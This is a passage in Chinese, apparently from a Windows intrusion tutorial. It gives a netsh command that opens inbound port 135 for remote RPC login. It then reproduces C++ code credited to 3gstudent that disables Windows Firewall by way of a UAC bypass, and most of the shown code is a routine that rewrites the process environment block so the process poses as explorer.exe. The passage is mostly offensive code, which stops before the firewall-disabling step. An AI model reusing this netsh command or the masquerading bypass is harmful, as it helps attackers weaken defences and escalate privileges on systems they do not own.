例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录
添加防火墙规则允许135端口入站的命令如下:
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
也可以选择将防火墙关闭,可参考绕过3gstudent写的UAC关闭防火墙的代码: ```cpp //Author: 3gstudent //Use to disable Windows Firewall with normal user permissions. //Expand on IFileOperation of UAC bypass.
#include
#define RTL_MAX_DRIVE_LETTERS 32 #define GDI_HANDLE_BUFFER_SIZE32 34 #define GDI_HANDLE_BUFFER_SIZE64 60 #define GDI_BATCH_BUFFER_SIZE 310 #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif
#if !defined(_M_X64) #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 #else #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 #endif
typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING;
typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } STRING; typedef STRING *PSTRING;
typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID;
typedef struct _CLIENT_ID64 { ULONG64 UniqueProcess; ULONG64 UniqueThread; } CLIENT_ID64, *PCLIENT_ID64;
typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; union { LIST_ENTRY InInitializationOrderLinks; LIST_ENTRY InProgressLinks; } DUMMYUNION0; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; union { ULONG Flags; struct { ULONG PackagedBinary : 1; // Size=4 Offset=104 BitOffset=0 BitCount=1 ULONG MarkedForRemoval : 1; // Size=4 Offset=104 BitOffset=1 BitCount=1 ULONG ImageDll : 1; // Size=4 Offset=104 BitOffset=2 BitCount=1 ULONG LoadNotificationsSent : 1; // Size=4 Offset=104 BitOffset=3 BitCount=1 ULONG TelemetryEntryProcessed : 1; // Size=4 Offset=104 BitOffset=4 BitCount=1 ULONG ProcessStaticImport : 1; // Size=4 Offset=104 BitOffset=5 BitCount=1 ULONG InLegacyLists : 1; // Size=4 Offset=104 BitOffset=6 BitCount=1 ULONG InIndexes : 1; // Size=4 Offset=104 BitOffset=7 BitCount=1 ULONG ShimDll : 1; // Size=4 Offset=104 BitOffset=8 BitCount=1 ULONG InExceptionTable : 1; // Size=4 Offset=104 BitOffset=9 BitCount=1 ULONG ReservedFlags1 : 2; // Size=4 Offset=104 BitOffset=10 BitCount=2 ULONG LoadInProgress : 1; // Size=4 Offset=104 BitOffset=12 BitCount=1 ULONG LoadConfigProcessed : 1; // Size=4 Offset=104 BitOffset=13 BitCount=1 ULONG EntryProcessed : 1; // Size=4 Offset=104 BitOffset=14 BitCount=1 ULONG ProtectDelayLoad : 1; // Size=4 Offset=104 BitOffset=15 BitCount=1 ULONG ReservedFlags3 : 2; // Size=4 Offset=104 BitOffset=16 BitCount=2 ULONG DontCallForThreads : 1; // Size=4 Offset=104 BitOffset=18 BitCount=1 ULONG ProcessAttachCalled : 1; // Size=4 Offset=104 BitOffset=19 BitCount=1 ULONG ProcessAttachFailed : 1; // Size=4 Offset=104 BitOffset=20 BitCount=1 ULONG CorDeferredValidate : 1; // Size=4 Offset=104 BitOffset=21 BitCount=1 ULONG CorImage : 1; // Size=4 Offset=104 BitOffset=22 BitCount=1 ULONG DontRelocate : 1; // Size=4 Offset=104 BitOffset=23 BitCount=1 ULONG CorILOnly : 1; // Size=4 Offset=104 BitOffset=24 BitCount=1 ULONG ChpeImage : 1; // Size=4 Offset=104 BitOffset=25 BitCount=1 ULONG ReservedFlags5 : 2; // Size=4 Offset=104 BitOffset=26 BitCount=2 ULONG Redirected : 1; // Size=4 Offset=104 BitOffset=28 BitCount=1 ULONG ReservedFlags6 : 2; // Size=4 Offset=104 BitOffset=29 BitCount=2 ULONG CompatDatabaseProcessed : 1; // Size=4 Offset=104 BitOffset=31 BitCount=1 }; } ENTRYFLAGSUNION; WORD ObsoleteLoadCount; WORD TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; } DUMMYUNION1; union { ULONG TimeDateStamp; PVOID LoadedImports; } DUMMYUNION2; //fields below removed for compatibility } LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE; typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY;
typedef LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY;
typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR;
typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
ULONG EnvironmentSize;
ULONG EnvironmentVersion;
PVOID PackageDependencyData; //8+
ULONG ProcessGroupId;
// ULONG LoaderThreads; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN IsPackagedProcess : 1; BOOLEAN IsAppContainer : 1; BOOLEAN IsProtectedProcessLight : 1; BOOLEAN IsLongPathAwareProcess : 1; }; }; HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ReservedBits0 : 25;
};
ULONG EnvironmentUpdateCount;
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved[1];
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID HotpatchInformation;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID *ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PRTL_CRITICAL_SECTION LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG_PTR ImageProcessAffinityMask;
GDI_HANDLE_BUFFER GdiHandleBuffer;
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo;
UNICODE_STRING CSDVersion;
PVOID ActivationContextData;
PVOID ProcessAssemblyStorageMap;
PVOID SystemDefaultActivationContextData;
PVOID SystemAssemblyStorageMap;
SIZE_T MinimumStackCommit;
PVOID *FlsCallback;
LIST_ENTRY FlsListHead;
PVOID FlsBitmap;
ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
ULONG FlsHighIndex;
PVOID WerRegistrationData;
PVOID WerShipAssertPtr;
PVOID pContextData;
PVOID pImageHeaderHash;
union
{
ULONG TracingFlags;
struct
{
ULONG HeapTracingEnabled : 1;
ULONG CritSecTracingEnabled : 1;
ULONG LibLoaderTracingEnabled : 1;
ULONG SpareTracingBits : 29;
};
};
ULONGLONG CsrServerReadOnlySharedMemoryBase; } PEB, *PPEB;
typedef struct _GDI_TEB_BATCH { ULONG Offset; UCHAR Alignment[4]; ULONG_PTR HDC; ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; } GDI_TEB_BATCH, *PGDI_TEB_BATCH;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT { ULONG Flags; PSTR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME { ULONG Flags; struct _TEB_ACTIVE_FRAME *Previous; PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;
typedef struct _TEB { NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
NTSTATUS ExceptionCode;
PVOID ActivationContextStackPointer; #if defined(_M_X64)
UCHAR SpareBytes[24]; #else
UCHAR SpareBytes[36]; #endif
ULONG TxFsContext;
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
HANDLE GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
ULONG_PTR Win32ClientInfo[62];
PVOID glDispatchTable[233];
ULONG_PTR glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
ULONG HardErrorMode; #if defined(_M_X64)
PVOID Instrumentation[11]; #else
PVOID Instrumentation[9]; #endif
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
PVOID WinSockData;
ULONG GdiBatchCount;
union
{
PROCESSOR_NUMBER CurrentIdealProcessor;
ULONG IdealProcessorValue;
struct
{
UCHAR ReservedPad0;
UCHAR ReservedPad1;
UCHAR ReservedPad2;
UCHAR IdealProcessor;
};
};
ULONG GuaranteedStackBytes;
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
PVOID ThreadPoolData;
PVOID *TlsExpansionSlots; #if defined(_M_X64)
PVOID DeallocationBStore;
PVOID BStoreLimit; #endif
ULONG MuiGeneration;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
PVOID FlsData;
PVOID PreferredLanguages;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
USHORT CrossTebFlags;
USHORT SpareCrossTebBits : 16;
};
union
{
USHORT SameTebFlags;
struct
{
USHORT SafeThunkCall : 1;
USHORT InDebugPrint : 1;
USHORT HasFiberData : 1;
USHORT SkipThreadAttach : 1;
USHORT WerInShipAssertCode : 1;
USHORT RanProcessInit : 1;
USHORT ClonedThread : 1;
USHORT SuppressDebugMsg : 1;
USHORT DisableUserStackWalk : 1;
USHORT RtlExceptionAttached : 1;
USHORT InitialThread : 1;
USHORT SpareSameTebBits : 1;
};
};
PVOID TxnScopeEnterCallback;
PVOID TxnScopeExitCallback;
PVOID TxnScopeContext;
ULONG LockCount;
ULONG SpareUlong0;
PVOID ResourceRetValue; } TEB, *PTEB;
typedef VOID(NTAPI *PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)( In PCLDR_DATA_TABLE_ENTRY DataTableEntry, In PVOID Context, Inout BOOLEAN *StopEnumeration );
typedef PVOID NTAPI RTLINITUNICODESTRING( Inout PUNICODE_STRING DestinationString, In_opt PCWSTR SourceString ); typedef RTLINITUNICODESTRING FAR * LPRTLINITUNICODESTRING; LPRTLINITUNICODESTRING RtlInitUnicodeString;
typedef NTSTATUS NTAPI RTLENTERCRITICALSECTION( In PRTL_CRITICAL_SECTION CriticalSection ); typedef RTLENTERCRITICALSECTION FAR * LPRTLENTERCRITICALSECTION; LPRTLENTERCRITICALSECTION RtlEnterCriticalSection;
typedef NTSTATUS NTAPI RTLLEAVECRITICALSECTION( In PRTL_CRITICAL_SECTION CriticalSection ); typedef RTLLEAVECRITICALSECTION FAR * LPRTLLEAVECRITICALSECTION; LPRTLLEAVECRITICALSECTION RtlLeaveCriticalSection;
typedef NTSTATUS NTAPI LDRENUMERATELOADEDMODULES( In_opt ULONG Flags, In PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction, In_opt PVOID Context); typedef LDRENUMERATELOADEDMODULES FAR * LPLDRENUMERATELOADEDMODULES; LPLDRENUMERATELOADEDMODULES LdrEnumerateLoadedModules;
typedef NTSTATUS NTAPI NTALLOCATEVIRTUALMEMORY( In HANDLE ProcessHandle, Inout PVOID *BaseAddress, In ULONG_PTR ZeroBits, Inout PSIZE_T RegionSize, In ULONG AllocationType, In ULONG Protect ); typedef NTALLOCATEVIRTUALMEMORY FAR * LPNTALLOCATEVIRTUALMEMORY; LPNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory;
//LPWSTR g_lpszExplorer2 = TEXT(“C:\windows\explorer.exe”); LPWSTR g_lpszExplorer2 = L”C:\windows\explorer.exe”;
VOID NTAPI supxLdrEnumModulesCallback( In PCLDR_DATA_TABLE_ENTRY DataTableEntry, In PVOID Context, Inout BOOLEAN *StopEnumeration ) { PPEB Peb = (PPEB)Context;
if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {
RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer2);
RtlInitUnicodeString(&DataTableEntry->BaseDllName, L"explorer.exe");
*StopEnumeration = TRUE;
}
else {
*StopEnumeration = FALSE;
} }
__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }
VOID supMasqueradeProcess( VOID ) { NTSTATUS Status; PPEB Peb = NtCurrentPeb(); SIZE_T RegionSize;
PVOID g_lpszExplorer = NULL;
RegionSize = 0x1000;
Status = NtAllocateVirtualMemory(
NtCurrentProcess(),
&g_lpszExplorer,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (NT_SUCCESS(Status)) {
RtlEnterCriticalSection(Peb->FastPebLock);
RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer2);
RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, g_lpszExplorer2);
RtlInitUnicodeString(&Peb->ProcessParameters->CurrentDirectory.DosPath, L"C:\\windows\\system32");
RtlLeaveCriticalSection(Peb->FastPebLock);
LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb);
} }